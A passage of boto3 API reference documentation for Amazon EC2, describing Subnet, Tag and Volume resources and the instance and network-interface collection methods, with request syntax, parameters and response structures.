EC2 selects these IP addresses within the subnet's IPv4 CIDR range. You can't specify this option and specify more than one private IP address using privateIpAddresses . + + The number of IP addresses you can assign to a network interface varies by instance type. For more information, see [IP Addresses Per ENI Per Instance Type](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html#AvailableIpPerENI) in the _Amazon Virtual Private Cloud User Guide_ . + +* **InterfaceType** (_string_) -- Indicates the type of network interface. To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **TagSpecifications** (_list_) -- + + The tags to apply to the new network interface. + + * _(dict) -- + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) -- + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1094)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1096)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) -- + The tags to apply to the resource. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: ec2.NetworkInterface +- NetworkInterface resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +tag = subnet.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- **[REQUIRED]** The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: list(ec2.Tag) +- A list of Tag resources + +delete(kwargs_) + +Deletes the specified subnet. You must terminate all running instances in the subnet before you can delete the subnet. + + +**Request Syntax** + +```py +response = subnet.delete( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +load() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +subnet.load() +- None + +reload() + +Calls [EC2.Client.describe_subnets()](#EC2.Client.describe_subnets "EC2.Client.describe_subnets") to update the attributes of the Subnet resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +subnet.reload() +- None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + + +**Request Syntax** + +```py +instance_iterator = subnet.instances.all() +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = subnet.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- **[REQUIRED]** The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +instance_iterator = subnet.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) +``` + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + + +**Request Syntax** + +```py +instance_iterator = subnet.instances.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + + +**Request Syntax** + +```py +response = subnet.instances.monitor( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) -- + The monitoring information. + + * _(dict) -- + Describes the monitoring of an instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **Monitoring** _(dict) -- + The monitoring for the instance. + + * **State** _(string) -- + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +instance_iterator = subnet.instances.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.Instance) +- A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = subnet.instances.reboot( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = subnet.instances.start( + AdditionalInfo='string', + DryRun=True|False +) +``` + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) -- + Information about the started instances. + + * _(dict) -- + Describes an instance state change. + + * **CurrentState** _(dict) -- + The current state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **PreviousState** _(dict) -- + The previous state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = subnet.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) +``` + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) -- + Information about the stopped instances. + + * _(dict) -- + Describes an instance state change. + + * **CurrentState** _(dict) -- + The current state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **PreviousState** _(dict) -- + The previous state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = subnet.instances.terminate( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + * **TerminatingInstances** _(list) -- + Information about the terminated instances. + + * _(dict) -- + Describes an instance state change. + + * **CurrentState** _(dict) -- + The current state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **PreviousState** _(dict) -- + The previous state of the instance. + + * **Code** _(integer) -- + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) -- + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = subnet.instances.unmonitor( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) -- + The monitoring information. + + * _(dict) -- + Describes the monitoring of an instance. + + * **InstanceId** _(string) -- + The ID of the instance. + + * **Monitoring** _(dict) -- + The monitoring for the instance. + + * **State** _(string) -- + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces + +A collection of NetworkInterface resources.A NetworkInterface Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all NetworkInterface resources in the collection. + + +**Request Syntax** + +```py +network_interface_iterator = subnet.network_interfaces.all() +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +filter(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection filtered by kwargs passed to method.A NetworkInterface collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + + +**Request Syntax** + +```py +network_interface_iterator = subnet.network_interfaces.filter( + DryRun=True|False, + NetworkInterfaceIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceIds** (_list_) -- + + One or more network interface IDs. + + Default: Describes all your network interfaces. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of items to return for this request. The request returns a token that you can specify in a subsequent call to get the next set of results. You cannot specify this parameter and the network interface IDs parameter in the same request. +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of NetworkInterface resources in the collection. + + +**Request Syntax** + +```py +network_interface_iterator = subnet.network_interfaces.limit( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +page_size(kwargs_) + +Creates an iterable of all NetworkInterface resources in the collection, but limits the number of items returned by each service call by the specified amount. + + +**Request Syntax** + +```py +network_interface_iterator = subnet.network_interfaces.page_size( + count=123 +) +``` + +Parameters + +**count** (_integer_) -- The number of items returned by each service call +Return: +- Return type: list(ec2.NetworkInterface) +- A list of NetworkInterface resources + +[Tag](#id1254) +---------------------------------------------------- + +_class_ EC2.Tag(_resource_id_, _key_, _value_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Tag: + +```py +import boto3 + +ec2 = boto3.resource('ec2') +tag = ec2.Tag('resource_id','key','value') +``` + +Parameters + +* **resource_id** (_string_) -- The Tag's resource_id identifier. This **must** be set. +* **key** (_string_) -- The Tag's key identifier. This **must** be set. +* **value** (_string_) -- The Tag's value identifier. This **must** be set. + +available identifiers: + +- resource_id](#EC2.Tag.resource_id "EC2.Tag.resource_id") +- key](#EC2.Tag.key "EC2.Tag.key") +- value](#EC2.Tag.value "EC2.Tag.value") + +available attributes: + +- resource_type](#EC2.Tag.resource_type "EC2.Tag.resource_type") + +available actions: + +- delete()](#EC2.Tag.delete "EC2.Tag.delete") +- get_available_subresources()](#EC2.Tag.get_available_subresources "EC2.Tag.get_available_subresources") +- load()](#EC2.Tag.load "EC2.Tag.load") +- reload()](#EC2.Tag.reload "EC2.Tag.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_id + +_(string)_ The Tag's resource_id identifier. This **must** be set. + +key + +_(string)_ The Tag's key identifier. This **must** be set. + +value + +_(string)_ The Tag's value identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Tag.load "EC2.Tag.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +resource_type + +* _(string) --_ + + The resource type. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = tag.delete( + DryRun=True|False, + +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +load() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +tag.load() +- None + +reload() + +Calls [EC2.Client.describe_tags()](#EC2.Client.describe_tags "EC2.Client.describe_tags") to update the attributes of the Tag resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +tag.reload() +- None + +[Volume](#id1255) +---------------------------------------------------------- + +_class_ EC2.Volume(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Volume: + +```py +import boto3 + +ec2 = boto3.resource('ec2') +volume = ec2.Volume('id') +``` + +Parameters + +**id** (_string_) -- The Volume's id identifier. This **must** be set. + +available identifiers: + +- id](#EC2.Volume.id "EC2.Volume.id") + +available attributes: + +- attachments](#EC2.Volume.attachments "EC2.Volume.attachments") +- availability_zone](#EC2.Volume.availability_zone "EC2.Volume.availability_zone") +- create_time](#EC2.Volume.create_time "EC2.Volume.create_time") +- encrypted](#EC2.Volume.encrypted "EC2.Volume.encrypted") +- fast_restored](#EC2.Volume.fast_restored "EC2.Volume.fast_restored") +- iops](#EC2.Volume.iops "EC2.Volume.iops") +- kms_key_id](#EC2.Volume.kms_key_id "EC2.Volume.kms_key_id") +- multi_attach_enabled](#EC2.Volume.multi_attach_enabled "EC2.Volume.multi_attach_enabled") +- outpost_arn](#EC2.Volume.outpost_arn "EC2.Volume.outpost_arn") +- size](#EC2.Volume.size "EC2.Volume.size") +- snapshot_id](#EC2.Volume.snapshot_id "EC2.Volume.snapshot_id") +- state](#EC2.Volume.state "EC2.Volume.state") +- tags](#EC2.Volume.tags "EC2.Volume.tags") +- throughput](#EC2.Volume.throughput "EC2.Volume.throughput") +- volume_id](#EC2.Volume.volume_id "EC2.Volume.volume_id") +- volume_type](#EC2.Volume.volume_type "EC2.Volume.volume_type") + +available actions: + +- attach_to_instance()](#EC2.Volume.attach_to_instance "EC2.Volume.attach_to_instance") +- create_snapshot()](#EC2.Volume.create_snapshot "EC2.Volume.create_snapshot") +- create_tags()](#EC2.Volume.create_tags "EC2.Volume.create_tags") +- delete()](#EC2.Volume.delete "EC2.Volume.delete") +- describe_attribute()](#EC2.Volume.describe_attribute "EC2.Volume.describe_attribute") +- describe_status()](#EC2.Volume.describe_status "EC2.Volume.describe_status") +- detach_from_instance()](#EC2.Volume.detach_from_instance "EC2.Volume.detach_from_instance") +- enable_io()](#EC2.Volume.enable_io "EC2.Volume.enable_io") +- get_available_subresources()](#EC2.Volume.get_available_subresources "EC2.Volume.get_available_subresources") +- load()](#EC2.Volume.load "EC2.Volume.load") +- modify_attribute()](#EC2.Volume.modify_attribute "EC2.Volume.modify_attribute") +- reload()](#EC2.Volume.reload "EC2.Volume.reload") + +available collections: + +- snapshots](#EC2.Volume.snapshots "EC2.Volume.snapshots") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Volume's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Volume.load "EC2.Volume.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +* _(list) --_ + + Information about the volume attachments. + + * _(dict) -- + Describes volume attachment details. + + * **AttachTime** _(datetime) -- + The time stamp when 